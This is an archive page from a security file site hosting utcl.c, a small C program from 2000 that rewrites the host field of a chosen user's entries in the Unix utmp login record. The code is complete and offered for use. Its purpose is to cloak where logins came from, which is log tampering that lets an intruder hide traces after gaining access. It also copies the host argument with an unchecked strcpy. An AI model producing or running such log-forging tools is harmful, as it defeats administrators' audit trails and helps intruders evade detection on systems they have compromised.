what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

utcl.c

utcl.c
Posted Feb 11, 2000
Authored by teso

cloak users utmp host entry

SHA-256 | c0c9242b12e010e91bd24cd3baa34312c62ad75a6009c50c5b81b94971b8d773

utcl.c

Change Mirror Download
/*  HiHo,
this utility changes the host of a given username (all his logins affected)
usage is utcl <user> <host> where host is the desired host (only 20 chars)

this piec of software is mostly ripped from ute.c which i found on my hdd
and dont know where it came from.. many thanks to the author of this one..
thanks goes also out to xdr who gave me the idea of writing this (he wrote
such thingie, but then lost it @#$! ;)

have fun...
-hendy (flames to hendy@winterland.net)

greetings: (oh, this is lame, i know) to #!teso, #hax, #hack

// hope it's not too lame

*/

#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
// #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */
#define MAX_ENT 100

int
main (int argc, char **argv)
{
int item;
struct utmp Entry[MAX_ENT + 1];
off_t position[MAX_ENT + 1];
FILE *fptr;

if (argc < 3)
{
printf ("usage: %s <user> <host>\n", argv[0]);
exit (1);
}

if ((fptr = fopen (UTMP_FILE, "r+")) != NULL)
{
int last, num, i = 1; /* get all utmp entries. */
while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0)
{
if (strcmp (Entry[i].ut_line, "") != 0) /* skip empty entries */
{
position[i] = ftell (fptr) - (long) (sizeof (Entry[i]));
i++;
}
}
last = i - 1; /* keep a tab on how many entries there are. */
position[i] = ftell (fptr); /* keep track of EOF */

for (item = 1; item <= last; item++)
{

if (!(strcmp (Entry[item].ut_name, argv[1])))
{
strcpy (Entry[item].ut_host, argv[2]); /* insert new host */
fseek (fptr, position[item], SEEK_SET); /* seek position in utmp */
fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr); /* write to file */

}
}


fclose (fptr);
}
else
{
printf ("\nERROR: cannot open file %s \n", UTMP_FILE);
}
return (0);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close